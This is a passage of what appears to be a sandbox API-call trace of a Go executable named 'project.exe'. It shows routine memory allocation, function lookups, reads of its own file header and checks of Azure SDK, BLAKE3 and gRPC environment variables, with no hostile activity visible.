0x7fffcb440000 [0172.473] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetProcAddress") returned 0x7fffcb45ae60 [0172.473] GetProcAddress (hModule=0x7fffcb440000, lpProcName="LockFileEx") returned 0x7fffcb464e60 [0172.474] GetProcAddress (hModule=0x7fffcb440000, lpProcName="UnlockFileEx") returned 0x7fffcb464f60 [0172.475] VirtualAlloc (lpAddress=0xc00009e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009e000 [0172.475] VirtualAlloc (lpAddress=0xc0000a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a0000 [0172.476] VirtualAlloc (lpAddress=0xc0000a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a4000 [0172.476] VirtualAlloc (lpAddress=0xc0000a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a6000 [0172.477] VirtualAlloc (lpAddress=0xc0000a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a8000 [0172.479] VirtualAlloc (lpAddress=0xc0000aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000aa000 [0172.479] VirtualAlloc (lpAddress=0xc0000ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ac000 [0172.480] VirtualAlloc (lpAddress=0xc0000ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ae000 [0172.480] VirtualAlloc (lpAddress=0xc0000b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b0000 [0172.481] VirtualAlloc (lpAddress=0xc0000b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b2000 [0172.481] VirtualAlloc (lpAddress=0xc0000b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b4000 [0172.520] SetEvent (hEvent=0x114) returned 1 [0172.520] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0172.802] VirtualAlloc (lpAddress=0xc0000bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000bc000 [0172.804] VirtualAlloc (lpAddress=0xc0000be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000be000 [0172.806] VirtualAlloc (lpAddress=0xc0000c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c0000 [0172.807] VirtualAlloc (lpAddress=0xc0000c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c2000 [0172.814] VirtualAlloc (lpAddress=0xc0000c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c4000 [0172.819] VirtualAlloc (lpAddress=0xc0000c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c6000 [0172.826] VirtualAlloc (lpAddress=0xc0000c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c8000 [0172.830] VirtualAlloc (lpAddress=0xc0000ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ca000 [0172.832] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0172.832] VirtualAlloc (lpAddress=0xc0000cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000cc000 [0172.833] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetModuleFileNameW") returned 0x7fffcb45dec0 [0172.833] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc0000c0800, nSize=0x400 | out: lpFilename="C:\\Users\\OqXZRaykm\\Desktop\\project.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\project.exe")) returned 0x26 [0172.833] VirtualAlloc (lpAddress=0xc0000ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ce000 [0172.834] GetProcAddress (hModule=0x7fffcb440000, lpProcName="CreateFileW") returned 0x7fffcb464b00 [0172.834] CreateFileW (lpFileName="C:\\Users\\OqXZRaykm\\Desktop\\project.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\project.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x16c [0172.835] GetConsoleMode (in: hConsoleHandle=0x16c, lpMode=0xc000197c4c | out: lpMode=0xc000197c4c) returned 0 [0172.835] GetFileType (hFile=0x16c) returned 0x1 [0172.836] GetFileType (hFile=0x16c) returned 0x1 [0172.836] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetFileInformationByHandle") returned 0x7fffcb464d10 [0172.836] GetFileInformationByHandle (in: hFile=0x16c, lpFileInformation=0xc000197c64 | out: lpFileInformation=0xc000197c64) returned 1 [0172.837] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetFileInformationByHandleEx") returned 0x7fffcb45f5f0 [0172.837] GetFileInformationByHandleEx (in: hFile=0x16c, FileInformationClass=0x9, lpFileInformation=0xc000197c40, dwBufferSize=0x8 | out: lpFileInformation=0xc000197c40) returned 1 [0172.837] VirtualAlloc (lpAddress=0xc0000d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d0000 [0172.839] GetProcAddress (hModule=0x7fffcb440000, lpProcName="SetFilePointerEx") returned 0x7fffcb464f20 [0172.839] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.840] GetProcAddress (hModule=0x7fffcb440000, lpProcName="ReadFile") returned 0x7fffcb464e80 [0172.840] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.841] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.842] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.842] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.902] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.902] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.902] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.903] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.903] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.903] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.904] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.904] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.904] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.905] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.905] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.905] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.906] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.906] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.906] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.907] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.907] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197bc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc000197bc0*=0) returned 1 [0172.907] ReadFile (in: hFile=0x16c, lpBuffer=0xc000197d88, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xc000197c0c, lpOverlapped=0xc000197c40 | out: lpBuffer=0xc000197d88*, lpNumberOfBytesRead=0xc000197c0c*=0x40, lpOverlapped=0xc000197c40) returned 1 [0172.908] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0xc000197b98, dwMoveMethod=0x0 | out: lpNewFilePointer=0xc000197b98*=0) returned 1 [0172.909] GetProcAddress (hModule=0x7fffcb440000, lpProcName="CloseHandle") returned 0x7fffcb464880 [0172.909] CloseHandle (hObject=0x16c) returned 1 [0172.911] VirtualAlloc (lpAddress=0xc0000d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d2000 [0172.911] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetEnvironmentVariableW") returned 0x7fffcb45b5c0 [0172.911] GetEnvironmentVariableW (in: lpName="AZURE_SDK_GO_LOGGING", lpBuffer=0xc0000d2000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0172.912] VirtualAlloc (lpAddress=0xc0000d4000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d4000 [0172.914] VirtualAlloc (lpAddress=0xc0000da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000da000 [0172.916] VirtualAlloc (lpAddress=0xc0000dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000dc000 [0172.918] VirtualAlloc (lpAddress=0xc0000de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000de000 [0172.920] VirtualAlloc (lpAddress=0xc0000e0000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e0000 [0172.926] VirtualAlloc (lpAddress=0xc0000e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e6000 [0172.930] VirtualAlloc (lpAddress=0xc0000e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e8000 [0172.930] VirtualAlloc (lpAddress=0xc0000ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ea000 [0172.931] VirtualAlloc (lpAddress=0xc0000ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ec000 [0172.931] VirtualAlloc (lpAddress=0xc0000ee000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ee000 [0172.934] VirtualAlloc (lpAddress=0xc0000f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f2000 [0172.934] VirtualAlloc (lpAddress=0xc0000f4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f4000 [0172.937] VirtualAlloc (lpAddress=0xc0000f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f8000 [0173.196] SetEvent (hEvent=0x114) returned 1 [0173.196] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0173.286] VirtualAlloc (lpAddress=0xc0000fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fa000 [0173.305] VirtualAlloc (lpAddress=0xc0000fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fc000 [0173.305] VirtualAlloc (lpAddress=0xc0000fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fe000 [0173.309] VirtualAlloc (lpAddress=0xc000200000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000200000 [0173.314] VirtualAlloc (lpAddress=0xc00020e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020e000 [0173.318] VirtualAlloc (lpAddress=0xc000216000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000216000 [0173.320] VirtualAlloc (lpAddress=0xc000218000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000218000 [0173.320] VirtualAlloc (lpAddress=0xc00021a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021a000 [0173.323] VirtualAlloc (lpAddress=0xc00021c000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00021c000 [0173.325] VirtualAlloc (lpAddress=0xc000222000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000222000 [0173.343] VirtualAlloc (lpAddress=0xc000228000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000228000 [0173.345] VirtualAlloc (lpAddress=0xc00022e000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022e000 [0173.347] VirtualAlloc (lpAddress=0xc000234000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000234000 [0173.353] VirtualAlloc (lpAddress=0xc00023a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023a000 [0173.355] VirtualAlloc (lpAddress=0xc00023c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023c000 [0173.355] VirtualAlloc (lpAddress=0xc00023e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023e000 [0173.362] VirtualAlloc (lpAddress=0xc000240000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000240000 [0173.364] VirtualAlloc (lpAddress=0xc000242000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000242000 [0173.364] VirtualAlloc (lpAddress=0xc000244000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000244000 [0173.364] VirtualAlloc (lpAddress=0xc000248000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000248000 [0173.370] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0173.370] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetFileInformationByHandleEx") returned 0x7fffcb45f5f0 [0173.370] VirtualAlloc (lpAddress=0xc00024a000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024a000 [0173.372] GetEnvironmentVariableW (in: lpName="RUNEWIDTH_EASTASIAN", lpBuffer=0xc0000d20d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.372] LoadLibraryW (lpLibFileName="kernel32") returned 0x7fffcb440000 [0173.372] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetConsoleOutputCP") returned 0x7fffcb4652a0 [0173.372] GetConsoleOutputCP () returned 0x1b5 [0173.405] VirtualAlloc (lpAddress=0xc0001a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a0000 [0173.406] VirtualAlloc (lpAddress=0xc0001a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a2000 [0173.406] VirtualAlloc (lpAddress=0xc0001a4000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a4000 [0173.409] VirtualAlloc (lpAddress=0xc0001b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b2000 [0173.409] VirtualAlloc (lpAddress=0xc0001b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b4000 [0173.410] VirtualAlloc (lpAddress=0xc0001b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b6000 [0173.411] VirtualAlloc (lpAddress=0xc0001b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b8000 [0173.412] VirtualAlloc (lpAddress=0xc0001ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ba000 [0173.413] VirtualAlloc (lpAddress=0xc0001bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001bc000 [0173.415] VirtualAlloc (lpAddress=0xc0001be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001be000 [0173.415] VirtualAlloc (lpAddress=0xc0001c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c0000 [0173.415] VirtualAlloc (lpAddress=0xc0001c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c2000 [0173.417] VirtualAlloc (lpAddress=0xc0001c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c4000 [0173.418] VirtualAlloc (lpAddress=0xc0001c6000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c6000 [0173.418] VirtualAlloc (lpAddress=0xc0001ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ca000 [0173.418] GetEnvironmentVariableW (in: lpName="BLAKE3_DISABLE_AVX2", lpBuffer=0xc0001ca000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.418] GetEnvironmentVariableW (in: lpName="BLAKE3_PUREGO", lpBuffer=0xc0001ca0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.418] GetEnvironmentVariableW (in: lpName="BLAKE3_DISABLE_SSE41", lpBuffer=0xc0001ca1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.418] GetEnvironmentVariableW (in: lpName="BLAKE3_PUREGO", lpBuffer=0xc0001ca270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.569] SetEvent (hEvent=0x114) returned 1 [0173.569] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0173.647] VirtualAlloc (lpAddress=0xc0001cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001cc000 [0173.649] VirtualAlloc (lpAddress=0xc0001ce000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ce000 [0173.658] VirtualAlloc (lpAddress=0xc0001e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e6000 [0173.660] VirtualAlloc (lpAddress=0xc0001e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e8000 [0173.661] VirtualAlloc (lpAddress=0xc0001ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ea000 [0173.661] VirtualAlloc (lpAddress=0xc0001ec000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ec000 [0173.661] VirtualAlloc (lpAddress=0xc0001f0000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f0000 [0173.663] VirtualAlloc (lpAddress=0xc0001f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f6000 [0173.665] VirtualAlloc (lpAddress=0xc0001f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f8000 [0173.667] VirtualAlloc (lpAddress=0xc0001fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fa000 [0173.668] VirtualAlloc (lpAddress=0xc0001fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fc000 [0173.669] VirtualAlloc (lpAddress=0xc0001fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fe000 [0173.671] VirtualAlloc (lpAddress=0xc000280000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000280000 [0173.673] VirtualAlloc (lpAddress=0xc000282000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000282000 [0173.677] VirtualAlloc (lpAddress=0xc000284000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000284000 [0173.681] VirtualAlloc (lpAddress=0xc000286000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000286000 [0173.681] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0001ca340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.684] VirtualAlloc (lpAddress=0xc00028a000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028a000 [0173.701] VirtualAlloc (lpAddress=0xc000298000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000298000 [0173.702] VirtualAlloc (lpAddress=0xc00029a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029a000 [0173.714] VirtualAlloc (lpAddress=0xc00029e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029e000 [0173.717] VirtualAlloc (lpAddress=0xc0002a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a6000 [0173.722] GetEnvironmentVariableW (in: lpName="GRPC_GO_LOG_SEVERITY_LEVEL", lpBuffer=0xc0001ca410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.722] GetEnvironmentVariableW (in: lpName="GRPC_GO_LOG_VERBOSITY_LEVEL", lpBuffer=0xc0001ca4e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.722] GetEnvironmentVariableW (in: lpName="GRPC_GO_LOG_FORMATTER", lpBuffer=0xc0001ca5b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.726] GetEnvironmentVariableW (in: lpName="GRPC_GO_IGNORE_TXT_ERRORS", lpBuffer=0xc0001ca680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.726] GetEnvironmentVariableW (in: lpName="GRPC_GO_ADVERTISE_COMPRESSORS", lpBuffer=0xc0001ca750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.726] GetEnvironmentVariableW (in: lpName="GRPC_RING_HASH_CAP", lpBuffer=0xc0001ca820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.726] GetEnvironmentVariableW (in: lpName="GRPC_EXPERIMENTAL_ENABLE_LEAST_REQUEST", lpBuffer=0xc0001ca8f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.727] GetEnvironmentVariableW (in: lpName="GRPC_ALTS_MAX_CONCURRENT_HANDSHAKES", lpBuffer=0xc0001ca9c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.727] GetEnvironmentVariableW (in: lpName="GRPC_GCP_OBSERVABILITY_CONFIG", lpBuffer=0xc0001caa90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.727] GetEnvironmentVariableW (in: lpName="GRPC_GCP_OBSERVABILITY_CONFIG_FILE", lpBuffer=0xc0001cab60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.727] GetEnvironmentVariableW (in: lpName="GRPC_XDS_BOOTSTRAP", lpBuffer=0xc0001cac30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.727] GetEnvironmentVariableW (in: lpName="GRPC_XDS_BOOTSTRAP_CONFIG", lpBuffer=0xc0001cad00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.728] VirtualAlloc (lpAddress=0xc0002a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a8000 [0173.728] GetEnvironmentVariableW (in: lpName="GRPC_TEST_ONLY_GOOGLE_C2P_RESOLVER_TRAFFIC_DIRECTOR_URI", lpBuffer=0xc0001cadd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0173.730] VirtualAlloc (lpAddress=0xc0002aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002aa000 [0173.734] VirtualAlloc (lpAddress=0xc0002ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ac000 [0173.734] VirtualAlloc (lpAddress=0xc0002ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ae000 [0173.735] VirtualAlloc (lpAddress=0xc0002b0000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b0000 [0174.116] SetEvent (hEvent=0x114) returned 1 [0174.116] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0174.156] VirtualAlloc (lpAddress=0xc0002b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b6000 [0174.157] VirtualAlloc (lpAddress=0xc0002b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b8000 [0174.159] VirtualAlloc (lpAddress=0xc0002ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ba000 [0174.185] VirtualAlloc (lpAddress=0xc0002bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002bc000 [0174.186] VirtualAlloc (lpAddress=0xc0002be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002be000 [0174.188] VirtualAlloc (lpAddress=0xc0002c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c0000 [0174.190] VirtualAlloc (lpAddress=0xc0002c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c2000 [0174.201] VirtualAlloc (lpAddress=0xc0002c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c4000 [0174.202] VirtualAlloc (lpAddress=0xc0002c6000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c6000 [0174.203] VirtualAlloc (lpAddress=0xc0002d4000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002d4000 [0174.204] VirtualAlloc (lpAddress=0xc0002e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e2000 [0174.204] VirtualAlloc (lpAddress=0xc0002e4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e4000 [0174.213] VirtualAlloc (lpAddress=0xc0002f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f0000 [0174.213] VirtualAlloc (lpAddress=0xc0002f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f2000 [0174.214] VirtualAlloc (lpAddress=0xc0002f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f4000 [0174.214] VirtualAlloc (lpAddress=0xc0002f6000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f6000 [0174.214] VirtualAlloc (lpAddress=0xc0002fa000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002fa000 [0174.218] VirtualAlloc (lpAddress=0xc000300000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000300000 [0174.220] VirtualAlloc (lpAddress=0xc000302000, dwSize=0x2000, 